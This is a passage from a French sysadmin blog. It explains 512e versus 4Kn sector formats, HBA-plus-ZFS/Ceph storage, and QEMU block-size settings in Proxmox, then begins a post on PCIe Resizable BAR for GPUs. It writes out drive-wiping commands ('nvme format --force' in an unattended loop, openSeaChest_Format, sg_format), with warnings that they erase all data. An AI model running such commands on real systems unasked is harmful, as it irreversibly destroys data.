qu\u0026rsquo;elles décrivent sont une seconde écriture, à un décalage différent, atterrissant dans une unité de mappage différente. Une autre page NAND programmée pour chacune que vous vouliez réellement écrire. C\u0026rsquo;est l\u0026rsquo;amplification de la section précédente, réintroduite délibérément, pour porter des métadonnées d\u0026rsquo;intégrité que le disque aurait pu tenir en ligne pour rien si vous l\u0026rsquo;aviez laissé dans un format étendu.\nVous ne pouvez pas avoir les deux. Soit le secteur porte les métadonnées du contrôleur, soit il ne porte que vos données.\nCe qui fait que la flash a plutôt sapé les arguments pour le RAID matériel Le reste de ceci est du jugement plutôt que du mécanisme, alors prenez-le comme tel.\nUn contrôleur RAID matériel est un RAID logiciel tournant sur un processeur dédié. Le « matériel » est un CPU, un peu de DRAM et une batterie. Pas une façon fondamentalement différente de calculer la parité. Ce qu\u0026rsquo;il vous achetait historiquement était un cache d\u0026rsquo;écriture adossé à une batterie et un déchargement de la parité, et sur la flash les deux arguments ont mal faibli. Le NVMe d\u0026rsquo;entreprise a déjà son propre cache protégé contre la coupure de courant, et le contrôleur devient un plafond de bande passante devant des périphériques qui peuvent chacun saturer plusieurs gigaoctets par seconde.\nIl vous coûte aussi des choses que vous voulez désormais activement :\nL\u0026rsquo;état du périphérique disparaît. Le détail SMART, les indicateurs d\u0026rsquo;usure et les journaux du fabricant qui vous laissent calculer l\u0026rsquo;amplification d\u0026rsquo;écriture sont tous derrière une abstraction opaque. Pas de sommes de contrôle de bout en bout. Un contrôleur vérifie la parité, ce qui détecte un disque manquant, pas une mauvaise réponse d\u0026rsquo;un disque présent. ZFS et Ceph font la somme de contrôle des données elles-mêmes et peuvent vous dire quelle copie est fausse — une corruption silencieuse qu\u0026rsquo;un contrôleur laisse passer tout droit. À ce titre, le contrôleur résout le mauvais problème. Les métadonnées du fabricant sur les disques lient la baie à une famille de contrôleurs, ce qui est son propre genre de peu fiable quand c\u0026rsquo;est le contrôleur qui lâche. Le RAID à parité fait son propre lire-modifier-écrire sur les écritures de bande partielle, s\u0026rsquo;empilant par-dessus tout ce qui précède. Pour Ceph, ce n\u0026rsquo;est même pas une préférence. Les propres conseils hyper-convergés de Proxmox sont que les disques doivent être présentés en mode HBA ou pass-through, pas derrière un contrôleur RAID, et ZFS veut exactement la même chose pour les mêmes raisons.\nL\u0026rsquo;arrangement qui découle de tout cela est donc : un HBA plutôt qu\u0026rsquo;un contrôleur RAID, des disques formatés 4Kn avec zéro métadonnée, et la redondance plus les sommes de contrôle faites par ZFS ou Ceph, qui peuvent réellement vous dire quand un disque a menti. Si quelque chose dans votre parc a vraiment besoin d\u0026rsquo;un format de secteur étendu, c\u0026rsquo;est un « soit l\u0026rsquo;un soit l\u0026rsquo;autre » délibéré à régler pendant que les disques sont encore vides. Pas quelque chose à découvrir une fois les OSD construits.\nOù le 512e mord réellement Il serait malhonnête de prétendre que le 512e ruine un système moderne, parce que d\u0026rsquo;ordinaire non.\nUne pile Linux à jour lit la taille de secteur physique, aligne les partitions dessus — parted et sfdisk le font tous deux par défaut maintenant — et utilise des blocs de système de fichiers de 4K. Dans cette configuration, l\u0026rsquo;hôte émet des IO de 4K alignées sur 4K, le disque n\u0026rsquo;a jamais besoin d\u0026rsquo;un lire-modifier-écrire, et le 512e ne vous coûte presque rien.\nLes problèmes sont précis :\nPartitions désalignées, d\u0026rsquo;ordinaire héritées d\u0026rsquo;une vieille installation ou d\u0026rsquo;une image clonée. Deux lire-modifier-écrire à chaque écriture. ZFS avec ashift=9 sur un disque 512e, parce que ZFS a cru le 512 rapporté. Chaque écriture d\u0026rsquo;enregistrement devient un lire-modifier-écrire, et vous ne pouvez pas changer ashift après coup — le pool doit être reconstruit. Applications qui écrivent des enregistrements de 512 octets avec O_DIRECT, contournant la coalescence du cache de pages. Certaines bases de données et beaucoup de logiciels sur mesure font cela. Tout ce qui fait confiance à la taille logique pour être la vraie. C\u0026rsquo;est le tort réel dans l\u0026rsquo;émulation : elle distribue un nombre qui est faux, et les choses en aval prennent des décisions avec. Le 4Kn retire toute la catégorie. Le disque ne peut pas mentir sur une taille de secteur qu\u0026rsquo;il n\u0026rsquo;a pas.\nIl vaut d\u0026rsquo;être franc sur la taille du prix, cependant. Les propres conseils de Seagate sont que le 4Kn vaut clairement d\u0026rsquo;être poursuivi quand la pile est pleinement optimisée pour le 4K et que vous comptez chaque IOPS — un palier tout-flash réglé, disons. En dessous, sur un Linux moderne correctement aligné, la différence de performance pour des IO alignées est souvent petite. L\u0026rsquo;autre argument est la cohérence du parc : un parc uniformément 4Kn n\u0026rsquo;a pas de surprises de format mélangé, et personne n\u0026rsquo;a à se rappeler quels disques mentent.\nLa plupart des disques peuvent être convertis — si le fabricant le permet C\u0026rsquo;est la partie qu\u0026rsquo;on rate : le 512e est souvent un réglage de format, pas une propriété du matériel. Un très grand nombre de disques SAS et SATA d\u0026rsquo;entreprise, et la plupart des NVMe d\u0026rsquo;entreprise, sortent en rapportant 512 octets et se reformateront volontiers en 4Kn.\nTout ce qui suit détruit chaque octet du périphérique. Il n\u0026rsquo;y a pas de conversion sur place.\nNVMe — nvme-cli Regardez d\u0026rsquo;abord ce que le namespace prend en charge :\n# Lists each LBA format and marks which one is in use nvme id-ns -H /dev/nvme0n1 | grep -i \u0026#34;lbaf\\|data size\u0026#34; Vous voulez un format avec Data Size 4096 et Metadata Size 0, marqué comme le meilleur et pas actuellement en usage. Puis appliquez-le :\n# -l/--lbaf selects the LBA format index from the list above nvme format /dev/nvme0n1 --lbaf=1 --force La taille de métadonnées compte autant que la taille de donnée. Certains formats d\u0026rsquo;usine réservent des octets supplémentaires par secteur — 520, ou 4160 — pour porter des métadonnées de protection T10-PI/DIF de bout en bout. Si rien dans votre pile ne les consomme, c\u0026rsquo;est du remplissage sur chaque secteur, alors choisissez le format à zéro métadonnée et débarrassez-vous-en. Choisir un format porteur de métadonnées par accident vous donne aussi un disque qui se comporte différemment de celui que vous vouliez créer, et combiner un changement de taille de secteur avec un changement de PI peut forcer un formatage complet lent plutôt qu\u0026rsquo;un rapide.\nPour tout un hôte de disques, faites une boucle. Cela a besoin de shopt -s extglob pour les globs étendus, et cela ne sélectionne que les formats qui sont en 4096/0 et pas en usage :\nshopt -s extglob for dev in /dev/nvme+([0-9])n+([0-9]); do # Skip anything that is not actually there [ -e \u0026#34;$dev\u0026#34; ] || continue # An LBA format with 4096-byte data, 0-byte metadata, marked Best, not in use lbaf=$(nvme id-ns -H \u0026#34;$dev\u0026#34; \\ | grep -P \u0026#39;(?=.*Metadata Size: 0)(?=.*Data Size: 4096)(?=.*Best)(?!.*in use)\u0026#39; \\ | awk \u0026#39;{found=$3} END {print (found != \u0026#34;\u0026#34; ? found : -1)}\u0026#39;) if [ \u0026#34;$lbaf\u0026#34; != \u0026#34;-1\u0026#34; ]; then echo \u0026#34;Formatting $dev using LBA Format: $lbaf\u0026#34; nvme format --force --lbaf=\u0026#34;$lbaf\u0026#34; \u0026#34;$dev\u0026#34; else echo \u0026#34;Skipping $dev: no matching LBA format found.\u0026#34; fi done Deux choses là-dedans font plus de travail qu\u0026rsquo;il n\u0026rsquo;y paraît.\nLe glob correspond aux namespaces — nvme0n1, nvme12n3 — et délibérément ne correspond pas aux partitions comme nvme0n1p1, parce que le motif finit après les chiffres qui suivent le n. C\u0026rsquo;est la différence entre reformater un namespace et faire quelque chose d\u0026rsquo;irrécupérable à un système en marche.\nEt la sélection ne convertit jamais qu\u0026rsquo;un disque qui offre réellement ce que vous avez demandé. Tout le reste tombe à -1 et est sauté, ce qui couvre trois cas distincts :\nLe disque n\u0026rsquo;offre que 512. Aucun format de 4096 octets n\u0026rsquo;existe, donc il n\u0026rsquo;y a rien vers quoi convertir et la boucle le laisse tranquille. Elle n\u0026rsquo;essaie pas, et elle n\u0026rsquo;échoue pas à mi-chemin. Le disque est déjà en 4Kn. Le format 4096/0 est celui en usage, et (?!.*in use) l\u0026rsquo;exclut — donc un second passage sur le même hôte est sans effet. Pas de reformatage inutile de chaque disque. Les seuls formats 4096 portent des métadonnées. Un format 4096 + 8 ne satisfait pas Metadata Size: 0, donc la boucle ne vous remettra pas en silence un disque T10-PI que vous n\u0026rsquo;avez pas demandé. Autrement dit, elle échoue de façon fermée. Quand elle n\u0026rsquo;est pas sûre, elle saute.\nUne note de portabilité : ces anticipations ont besoin du mode -P (PCRE) du grep GNU. Sur un système où grep est autre chose, le motif ne correspond à rien et chaque disque est sauté. Agaçant, mais au moins ça se trompe dans le sens sûr.\nLisez la boucle avant de la lancer, tout de même. Là où elle correspond bien, elle reformate sans autre demande. nvme format --force ne demande pas deux fois. Elle a sa place dans le provisionnement, sur une machine dont les disques ne contiennent rien, jamais sur un hôte avec un OSD, un pool ou un disque de VM en vie.\nSur FreeBSD, l\u0026rsquo;équivalent est nvmecontrol, où -f est l\u0026rsquo;index de format :\nnvmecontrol format -f 1 nvme0ns1 SAS et SATA — openSeaChest L\u0026rsquo;openSeaChest de Seagate est multiplateforme, libre, et marche aussi sur les disques d\u0026rsquo;autres fabricants.\n# Find the handle openSeaChest_Format --scan # Ask the drive which sector sizes it will accept openSeaChest_Format -d /dev/sg1 --showSupportedFormats # Convert. The confirmation string is deliberately hard to type by accident. openSeaChest_Format -d /dev/sg1 --setSectorSize 4096 \\ --confirm this-will-erase-data-and-may-render-the-drive-inoperable Cette phrase de confirmation n\u0026rsquo;est pas moi qui dramatise. C\u0026rsquo;est la chaîne littérale que l\u0026rsquo;outil exige, et la partie « may render the drive inoperable » est réelle. Un formatage de bas niveau interrompu par une coupure de courant peut laisser un disque qui a besoin d\u0026rsquo;un autre formatage avant de marcher tout court.\nEn dessous, l\u0026rsquo;opération diffère selon le transport : SAS et SCSI utilisent Format Unit, SATA utilise Set Sector Configuration Ext — le chemin de format rapide — et NVMe utilise NVM Format. Pour un disque SAS, vous pouvez piloter Format Unit directement, et notez que cette option prend la chaîne de confirmation la plus courte :\nopenSeaChest_Format -d /dev/sg1 --formatUnit 4096 --poll \\ --confirm this-will-erase-data Deux options différentes, deux chaînes de confirmation différentes — inversez-les et l\u0026rsquo;outil refuse.\nLà où le disque prend en charge un format rapide, la taille de secteur change en secondes plutôt qu\u0026rsquo;en heures ; le disque fait ensuite son travail d\u0026rsquo;intégrité et de fond après, et écrire vos vraies données dessus réduit ce temps de fond. Un formatage complet écrit des zéros de bout en bout et peut prendre de nombreuses heures à des jours sur un gros disque à plateaux.\nopenSeaChest_Format -d /dev/sg1 --setSectorSize 4096 --fastFormat \\ --confirm this-will-erase-data-and-may-render-the-drive-inoperable SCSI — sg_format Pour tout ce qui parle SCSI, sg3_utils fera le même travail :\n# --size requires --format; expect hours on a large spinning disk sg_format --format --size=4096 /dev/sdb # Fast format where the drive supports it — seconds instead of hours sg_format --format --size=4096 --ffmt=1 /dev/sdb sg_format vous donne un compte à rebours de 15 secondes avant de s\u0026rsquo;engager, que --quick saute. Sa documentation avertit aussi d\u0026rsquo;un échec précis à connaître : si le changement de taille de bloc réussit mais que le formatage échoue ensuite, le disque peut finir dans un état « format corrupt » et a besoin d\u0026rsquo;un autre formatage pour s\u0026rsquo;en remettre.\nAvant de convertir quoi que ce soit Vérifiez le chemin d\u0026rsquo;amorçage. Un disque 4Kn comme périphérique de démarrage a besoin d\u0026rsquo;UEFI et d\u0026rsquo;un système d\u0026rsquo;exploitation qui le prend en charge. Le Linux moderne va bien. Le vieux Windows non, et certains contrôleurs RAID matériels refusent encore le 4Kn entièrement. Faites-le avant que le disque ne contienne quoi que ce soit. Le rétrofit veut dire évacuer, convertir, restaurer. Faites-en un, puis vérifiez. Convertissez un seul disque, confirmez les tailles rapportées, puis faites le reste. Attendez-vous à des heures sur un disque à plateaux sans format rapide. Ne lancez pas un formatage de bas niveau sur une machine dont vous avez besoin bientôt. Vérifier ce que vous avez # LOG-SEC is what the host addresses, PHY-SEC is what the medium uses lsblk -o NAME,MODEL,SIZE,LOG-SEC,PHY-SEC # The same, from sysfs cat /sys/block/sda/queue/logical_block_size cat /sys/block/sda/queue/physical_block_size # SMART states both, and this is the clearest 512e signature there is smartctl -a /dev/sda | grep -i \u0026#34;sector size\u0026#34; 512 bytes logical, 4096 bytes physical est un disque 512e. Des nombres qui correspondent veulent dire natif — 512n si les deux sont 512, 4Kn si les deux sont 4096.\nEt vérifiez que les partitions s\u0026rsquo;alignent réellement :\nparted /dev/sda align-check optimal 1 ZFS, Ceph et disques virtuels ZFS — réglez ashift=12 explicitement à la création d\u0026rsquo;un pool, et ne vous fiez pas à la taille rapportée par le disque, parce que sur 512e il vous dira 9 et se trompera. Cela ne peut pas être changé plus tard.\nCeph — la taille d\u0026rsquo;allocation minimale de BlueStore devrait être de 4 Ko sur flash. Le Ceph moderne met 4096 par défaut, mais les versions plus anciennes mettaient plus haut par défaut — autour de 16 Ko sur SSD et 64 Ko sur HDD — et cela convient mal aux disques de VM RBD, parce qu\u0026rsquo;ils émettent beaucoup de petites écritures aléatoires de 4 Ko et qu\u0026rsquo;une écriture de 4 Ko atterrissant dans une unité d\u0026rsquo;allocation de 16 ou 64 Ko à la fois amplifie l\u0026rsquo;écriture et gaspille le reste en remplissage. C\u0026rsquo;est fixé à la création de l\u0026rsquo;OSD, donc cela doit être réglé avant de créer ou de reconstruire :\nceph config set global bluestore_min_alloc_size_ssd 4096 # new or rebuilt OSDs only Il y a un bluestore_min_alloc_size_hdd correspondant. Les OSD existants gardent ce avec quoi ils ont été construits, donc le changer veut dire les reconstruire.\nDisques virtuels — un invité voit ce que l\u0026rsquo;hyperviseur présente, pas le disque sous-jacent, donc un disque 4Kn sous une VM remet quand même à l\u0026rsquo;invité des blocs de 512 octets à moins que vous ne disiez le contraire. Garder la pile 4K de bout en bout veut dire dire à QEMU de présenter du 4K, ce qui dans Proxmox est une ligne d\u0026rsquo;argument brute dans /etc/pve/qemu-server/\u0026lt;vmid\u0026gt;.conf :\nargs: -global scsi-hd.physical_block_size=4k -global scsi-hd.logical_block_size=4096 Cette ligne est ce qui force réellement QEMU en 4Kn pour ces disques — -global l\u0026rsquo;applique à chaque périphérique scsi-hd de la VM, donc l\u0026rsquo;invité se voit dire 4096 pour la taille de bloc logique et physique et partitionne et s\u0026rsquo;aligne en conséquence.\nNe mettez pas toute la chaîne entre guillemets. Proxmox analyse args: avec Text::ParseWords::shellwords, donc ceci :\nargs: \u0026#34;-global scsi-hd.physical_block_size=4k -global scsi-hd.logical_block_size=4096\u0026#34; se réduit à un seul argument — les guillemets sont honorés et retirés, et QEMU se voit remettre une longue option inanalysable plutôt que quatre. Sans guillemets, la même ligne se découpe en -global, scsi-hd.physical_block_size=4k, -global, scsi-hd.logical_block_size=4096, ce qui est ce que vous voulez. C\u0026rsquo;est une erreur facile à faire parce que mettre des guillemets est le bon instinct sur une ligne de commande, et l\u0026rsquo;échec — une VM qui ne démarre pas, se plaignant de l\u0026rsquo;option — ne ramène pas aux guillemets.\nFaites ceci avant d\u0026rsquo;installer le système d\u0026rsquo;exploitation invité. Changer la taille de bloc d\u0026rsquo;un disque sous un système déjà installé peut le laisser non amorçable, parce que la disposition des partitions et le chargeur d\u0026rsquo;amorçage ont été écrits pour des secteurs de 512 octets. Notez aussi qu\u0026rsquo;args: est une trappe d\u0026rsquo;échappement d\u0026rsquo;expert hors de la gestion de l\u0026rsquo;interface, et que l\u0026rsquo;interaction avec la migration à chaud et les instantanés vaut d\u0026rsquo;être revérifiée contre la documentation Proxmox à jour.\nQuand l\u0026rsquo;invité dit 512 et l\u0026rsquo;hôte dit 4K C\u0026rsquo;est le cas qui vaut d\u0026rsquo;être compris correctement, parce que c\u0026rsquo;est ce que vous obtenez par défaut après avoir fait tout le travail ci-dessus.\nQEMU présente des blocs logiques de 512 octets à l\u0026rsquo;invité à moins qu\u0026rsquo;on ne lui dise le contraire, quel que soit le périphérique d\u0026rsquo;appui. Vous pouvez donc convertir chaque disque de l\u0026rsquo;hôte en 4Kn, et les VM par-dessus se verront quand même dire 512 — et elles le croiront.\nL\u0026rsquo;invité partitionne alors sur des limites de 512 octets parce qu\u0026rsquo;il le peut, et émet des IO de 512 octets parce qu\u0026rsquo;il le peut. Mais le périphérique hôte a désormais réellement un bloc logique de 4096 octets, et il n\u0026rsquo;acceptera pas une écriture de 512 octets. Quelque chose doit réconcilier les deux, et ce quelque chose est l\u0026rsquo;hôte : QEMU lit les 4 Ko environnants, y fusionne les 512 octets de l\u0026rsquo;invité, et réécrit le tout.\nVous n\u0026rsquo;avez pas retiré l\u0026rsquo;émulation. Vous l\u0026rsquo;avez déplacée du micrologiciel du disque vers votre hyperviseur, où elle coûte du CPU hôte et un tampon de rebond au lieu de cycles de disque.\nAvec cache=none, ce n\u0026rsquo;est pas non plus une pénalité douce. O_DIRECT contre un périphérique 4Kn exige des décalages et des longueurs alignés sur 4 Ko, donc une écriture d\u0026rsquo;invité de moins de 4K ne peut pas simplement être passée telle quelle — l\u0026rsquo;alignement doit être corrigé dans QEMU avant même que l\u0026rsquo;IO ne soit émise.\nEt le cas du désalignement revient un niveau plus haut. Un invité partitionné avec une granularité de 512 octets met ses écritures de système de fichiers de 4 Ko à des décalages à cheval sur deux blocs hôte de 4 Ko, donc chacune devient deux lire-modifier-écrire sur l\u0026rsquo;hôte. Même échec qu\u0026rsquo;une partition désalignée sur un disque 512e nu, sauf qu\u0026rsquo;il se produit maintenant dans une VM où personne ne le cherche.\nLa règle est donc : si l\u0026rsquo;hôte est en 4Kn, présentez aussi du 4K à l\u0026rsquo;invité, et faites-le avant que le système d\u0026rsquo;exploitation ne soit posé.\nL\u0026rsquo;exception est la prise en charge par l\u0026rsquo;invité, qui est toute la raison pour laquelle le 512e existe :\nLes invités Linux gèrent le 4Kn sans histoire. Windows prend en charge le 4Kn pour les volumes de données depuis Windows 8 et Server 2012, et démarrer depuis du 4Kn veut de l\u0026rsquo;UEFI. Tout ce qui est plus ancien — Windows 7 et avant — ne peut pas faire de 4Kn du tout. Pour ceux-là, un disque virtuel présentant du 512 est le prix pour les faire tourner, et l\u0026rsquo;hôte fera la réconciliation. Si cela compte, gardez ces invités sur un stockage où cela vous coûte le moins plutôt que sur votre palier le plus rapide. Vérifiez ce avec quoi l\u0026rsquo;invité a réellement fini, depuis l\u0026rsquo;intérieur de l\u0026rsquo;invité :\nlsblk -o NAME,LOG-SEC,PHY-SEC 512 là sur un hôte 4Kn veut dire que la réconciliation ci-dessus se produit à chaque écriture non alignée.\nRéférences OpenZFS — Workload Tuning — ashift, pourquoi 2^ashift est la plus petite IO possible sur un vdev, et l\u0026rsquo;observation que « many devices misreport their sector sizes » nvme-format man page — --lbaf, --namespace-id, --ses et --force sg_format man page — --size avec --format, l\u0026rsquo;option de format rapide, et l\u0026rsquo;avertissement format-corrupt openSeaChest — les utilitaires de disque libres de Seagate, dont --setSectorSize et --showSupportedFormats openSeaChest wiki — Format, Fast Format, And Sector Sizes — quel transport utilise quelle commande, et quand le format rapide s\u0026rsquo;applique nvmecontrol(8) — l\u0026rsquo;équivalent FreeBSD Linux block layer documentation — comment le noyau modélise les tailles de bloc logique et physique ","permalink":"https://blogs.damiendye.uk/fr/proxmox/block-sizes-4kn-512e/","summary":"Les disques 512e présentent des secteurs de 512 octets qu\u0026rsquo;ils n\u0026rsquo;ont pas, et le micrologiciel comble la différence à chaque écriture non alignée. Ce que cela coûte sur le support, dans l\u0026rsquo;hôte et en amplification d\u0026rsquo;écriture — pourquoi les écritures directes synchrones sont le pire cas — et comment convertir un parc en 4Kn.","title":"4Kn, 512e et 512n — pourquoi le 4K natif l'emporte, et ce que coûte l'émulation"},{"content":"Ce qu\u0026rsquo;est un BAR, et pourquoi les GPU l\u0026rsquo;ont débordé Chaque périphérique PCIe expose un ou plusieurs Base Address Registers. Un BAR dit au système combien d\u0026rsquo;espace d\u0026rsquo;adressage le périphérique veut, et le micrologiciel le mappe dans la carte mémoire de l\u0026rsquo;hôte. Une fois mappé, le CPU atteint la mémoire du périphérique avec des lectures et écritures ordinaires.\nLa taille d\u0026rsquo;un BAR était autrefois figée dans le silicium. Le micrologiciel la lisait à la mise sous tension et la conversation s\u0026rsquo;arrêtait là.\nC\u0026rsquo;était bien tant que les BAR étaient petits. Une carte réseau veut quelques dizaines de kilo-octets pour ses registres. Un contrôleur NVMe veut de 16 à 64 Ko.\nLes cartes graphiques ont cassé l\u0026rsquo;arrangement. Une carte moderne a 8, 12, 16 ou 24 Go de mémoire vidéo, et la chose évidente à faire est de tout mapper pour que le CPU puisse écrire n\u0026rsquo;importe où dedans. Les BAR figés ne pouvaient pas exprimer cela, donc la convention est devenue une petite fenêtre — d\u0026rsquo;ordinaire 256 Mo — que le pilote repointe sur le framebuffer, copiant à travers elle par morceaux. Ça marche. C\u0026rsquo;est juste une quantité stupide de gestion pour atteindre une mémoire que vous avez déjà achetée et montée.\nUne ouverture fixe expose une tranche à la fois ; le Resizable BAR mappe le tout BAR fixe — une fenêtre de 256 Mo 24 Go de VRAM, en tranches la fenêtre Le pilote repointe la fenêtre et copie à travers, une tranche à la fois. Tranches illustratives, hors échelle. Resizable BAR — le tout les mêmes 24 Go, mappés une fois un seul BAR couvre tout Le CPU écrit là où il veut. Pas de fenêtre à déplacer. L\u0026rsquo;ouverture de 256 Mo est moins une limite de bande passante qu\u0026rsquo;une taxe de gestion : le pilote passe son temps à déplacer la fenêtre au lieu de déplacer des données. Ce que change le Resizable BAR Le Resizable BAR est une capacité PCIe qui laisse négocier la taille d\u0026rsquo;un BAR au lieu de la figer. Le périphérique annonce les tailles qu\u0026rsquo;il peut prendre en charge, et le micrologiciel ou le système d\u0026rsquo;exploitation en programme une.\nPour un GPU, cela veut dire que tout le framebuffer peut être mappé d\u0026rsquo;un coup. Le pilote cesse de paginer à travers une fenêtre et écrit là où il veut écrire. Le noyau rapporte la capacité comme Physical Resizable BAR, et elle est neutre vis-à-vis du fabricant. Une carte AMD fonctionne avec sur une plateforme Intel et inversement.\nCe que font réellement les trois fabricants La partie intéressante est que les fabricants ne s\u0026rsquo;accordent pas sur son importance.\nTrois fabricants, une capacité, trois postures différentes Intel Arc / Arc Pro REQUIS « Requis pour une bonne expérience avec Arc » Coupé, les pics de frametime déjà présents deviennent plus gros. Plateformes : Core 10e gén et plus récents, la plupart des Ryzen 3000, tous les Ryzen 5000. NVIDIA PROFIL PAR JEU À partir de la série RTX 30, mars 2021 « Quelques pour cent, jusqu'à 12 % » — et certains titres ralentissent, donc le pilote ne l'active que là où il s'est mesuré plus rapide. A demandé une màj VBIOS + SBIOS. AMD Radeon SMART ACCESS MEMORY Même capacité, vendue sous un nom de marque Lancé avec RX 6000 et Ryzen 5000 en fonction couplée, mais la capacité est du PCIe standard et marche inter-fabricants. Plus inégal sur Vega et Polaris. La capacité est identique dans les trois cas — ce qui diffère est si le fabricant la traite en prérequis, en optimisation à appliquer sélectivement, ou en fonction de produit. Même capacité, trois postures différentes. Intel la traite en prérequis ; NVIDIA la livre allumée seulement pour les jeux qu\u0026rsquo;il a testés ; AMD la vend comme une fonction. Intel Arc et Arc Pro — Intel le dit requis Intel est le plus catégorique. Ses conseils disent que le Resizable BAR est « required to get a good experience with Intel® Arc™ hardware » — nécessaire pour obtenir une bonne expérience avec le matériel Intel Arc. C\u0026rsquo;est un langage exceptionnellement fort pour une fonction de plateforme, et cela montre comment le pilote Arc est bâti plutôt qu\u0026rsquo;un choix marketing.\nCôté symptômes, Intel décrit l\u0026rsquo;effet de le couper en termes de régularité plutôt que de moyennes : avec « ReBAR off », cela « will generally result in spikes that were already there getting bigger » — les pics déjà présents deviennent plus gros. C\u0026rsquo;est un argument de stabilité de frametime, et c\u0026rsquo;est le même genre de problème que l\u0026rsquo;effet d\u0026rsquo;ASPM sur les queues de latence. La moyenne le cache.\nIntel liste les processeurs Intel Core de 10e génération et plus récents, la plupart des Ryzen série 3000 et tous les CPU Ryzen 5000 comme plateformes prises en charge, et le traite comme une fonction du BIOS de la carte mère que vous devez aller activer.\nLa conséquence pratique pour Arc et Arc Pro est simple. Si vous avez mis une carte Arc dans une machine et que la performance est décevante ou inégale, vérifiez ceci avant de vérifier quoi que ce soit d\u0026rsquo;autre. À ce titre, ce n\u0026rsquo;est pas tant un bouton de réglage sur ces cartes qu\u0026rsquo;un prérequis.\nNVIDIA — à partir d\u0026rsquo;Ampere, et seulement là où ça aide NVIDIA a ajouté la prise en charge des cartes et portables GeForce RTX série 30 en mars 2021. Le faire marcher demandait un VBIOS pris en charge, un CPU et une carte mère compatibles, une mise à jour du micrologiciel de la carte mère, et un pilote à jour. La RTX 3060 est livrée avec ; les 3060 Ti, 3070, 3080 et 3090 pouvaient avoir besoin d\u0026rsquo;une mise à jour du micrologiciel pour l\u0026rsquo;obtenir.\nLe cadrage de performance de NVIDIA est agréablement sans éclat. Ils ont trouvé que « some titles benefit from a few percent, up to 12% » — certains titres gagnent quelques pour cent, jusqu\u0026rsquo;à 12 % — tandis que « there are also titles that see a decrease in performance », il y a donc aussi des titres dont la performance baisse.\nLeur réponse à cela est le détail à connaître : plutôt que de le laisser allumé globalement, NVIDIA pré-teste les titres et se sert de profils par jeu pour n\u0026rsquo;activer le Resizable BAR que là où il s\u0026rsquo;est mesuré comme un gain. Sur une carte NVIDIA, « ReBAR est-il activé ? » a donc une réponse par application, et un test qui ne montre rien peut simplement être un titre que le pilote a décidé de laisser tranquille.\nAMD — Smart Access Memory, c\u0026rsquo;est la même chose L\u0026rsquo;appellation d\u0026rsquo;AMD est Smart Access Memory, introduite en même temps que la série Radeon RX 6000 et les CPU Ryzen 5000. Le marketing laisse entendre un couplage CPU-AMD-plus-GPU-AMD, et c\u0026rsquo;est ainsi qu\u0026rsquo;il a été lancé, mais la capacité en dessous est la capacité PCIe standard. Activez le Resizable BAR dans le micrologiciel avec une carte Radeon dans une machine Intel et vous obtenez la même fonction sans l\u0026rsquo;appellation.\nLes cartes Radeon Pro série W la prennent en charge aussi. Sur des architectures plus anciennes — Vega et Polaris — la prise en charge est plus inégale, et c\u0026rsquo;est aussi là que vit l\u0026rsquo;ennui de virtualisation.\nLe Resizable BAR et le travail d\u0026rsquo;IA C\u0026rsquo;est là que la fonction est mal comprise, alors il vaut d\u0026rsquo;être clair sur ce qu\u0026rsquo;elle touche.\nLe Resizable BAR change la façon dont le CPU atteint la mémoire du GPU. C\u0026rsquo;est le chemin de transfert — préparer les poids d\u0026rsquo;un modèle, pousser des lots, relire les résultats. Il ne touche pas la bande passante mémoire propre au GPU, et il ne rend pas une multiplication de matrices plus rapide.\nLe résumé honnête est donc qu\u0026rsquo;il affecte le chargement et l\u0026rsquo;alimentation d\u0026rsquo;un modèle, pas l\u0026rsquo;arithmétique. Pour un gros modèle, la copie hôte-vers-périphérique au moment du chargement est un coût réel, et un BAR pleine taille laisse le CPU écrire droit dans la mémoire du périphérique au lieu de faire la navette par un hublot de 256 Mo. Pour le régime établi d\u0026rsquo;une passe d\u0026rsquo;inférence — où les poids sont déjà résidents et le travail est borné par le calcul. N\u0026rsquo;attendez rien.\nTrois précisions valent d\u0026rsquo;être connues.\nArc Pro pour l\u0026rsquo;IA hérite du verdict d\u0026rsquo;Intel. Si Intel dit que la carte a besoin du Resizable BAR pour une bonne expérience, cela vaut pour une carte qui fait tourner oneAPI ou PyTorch tout autant que pour une qui fait tourner un jeu. Les cartes Arc et Arc Pro qui font de l\u0026rsquo;inférence devraient l\u0026rsquo;avoir activé, point final.\nSur NVIDIA, le nombre que vous voulez est BAR1. BAR1 est la fenêtre visible par l\u0026rsquo;hôte sur la mémoire du périphérique, et c\u0026rsquo;est par elle que passent les allocations mappées sur l\u0026rsquo;hôte et le GPUDirect RDMA :\n# How much device memory is actually host-visible nvidia-smi -q | grep -A3 \u0026#34;BAR1 Memory Usage\u0026#34; Une carte de centre de données est bâtie avec un grand BAR1 d\u0026rsquo;emblée. Sur une carte de bureau, le Resizable BAR est ce qui rend cette fenêtre grande plutôt que minuscule. Si vous faites du RDMA droit depuis une carte réseau vers la mémoire du GPU, ce n\u0026rsquo;est pas un luxe.\nNe confondez pas ceci avec l\u0026rsquo;exigence de ROCm. Les exigences système de ROCm d\u0026rsquo;AMD réclament des CPU prenant en charge les atomiques PCIe — « modern CPUs after the release of 1st generation AMD Zen CPU and Intel™ Haswell », les CPU modernes parus après le Zen de 1re génération d\u0026rsquo;AMD et le Haswell d\u0026rsquo;Intel — et ne disent rien sur le dimensionnement des BAR. Ce sont deux exigences de plateforme différentes qui vivent toutes deux dans le même menu du BIOS, et les gens les mélangent sans cesse. Vérifiez celle dont vous avez réellement besoin.\nLe mode d\u0026rsquo;échec qui mord le plus fort les montages d\u0026rsquo;IA n\u0026rsquo;est pas la performance du tout, et il est traité plus bas : plusieurs GPU à grand BAR dans une machine peuvent épuiser l\u0026rsquo;espace d\u0026rsquo;adressage.\nCe qu\u0026rsquo;il faut pour que ça marche Quatre choses, et elles sont toutes au niveau du micrologiciel :\nResizable BAR activé dans le micrologiciel de la carte mère. Souvent coupé par défaut. Above 4G Decoding activé. Un BAR de 24 Go ne peut pas tenir sous la ligne des 4 Go, donc la plateforme doit accepter d\u0026rsquo;allouer de l\u0026rsquo;espace d\u0026rsquo;adressage au-dessus. Activez-le même sans GPU présent. Ça ne coûte rien. Démarrage UEFI, avec CSM coupé. Le mode de compatibilité hérité et les grands BAR ne font pas bon ménage. Micrologiciel et pilotes à jour, en particulier sur les cartes mères et cartes de la transition 2020–2021, où la prise en charge est arrivée par mise à jour plutôt qu\u0026rsquo;au lancement. Un grand BAR ne tient qu'au-dessus de 4 Go, et l'ouverture de l'invité doit être assez grande pour le tenir Où un BAR redimensionné peut réellement vivre RAM système 0 trou MMIO 32 bits 4 GB MMIO 64 bits haut GPU 0 BAR 24 Go GPU 1 — 24 GB GPU 2 — 24 GB GPU 3 — 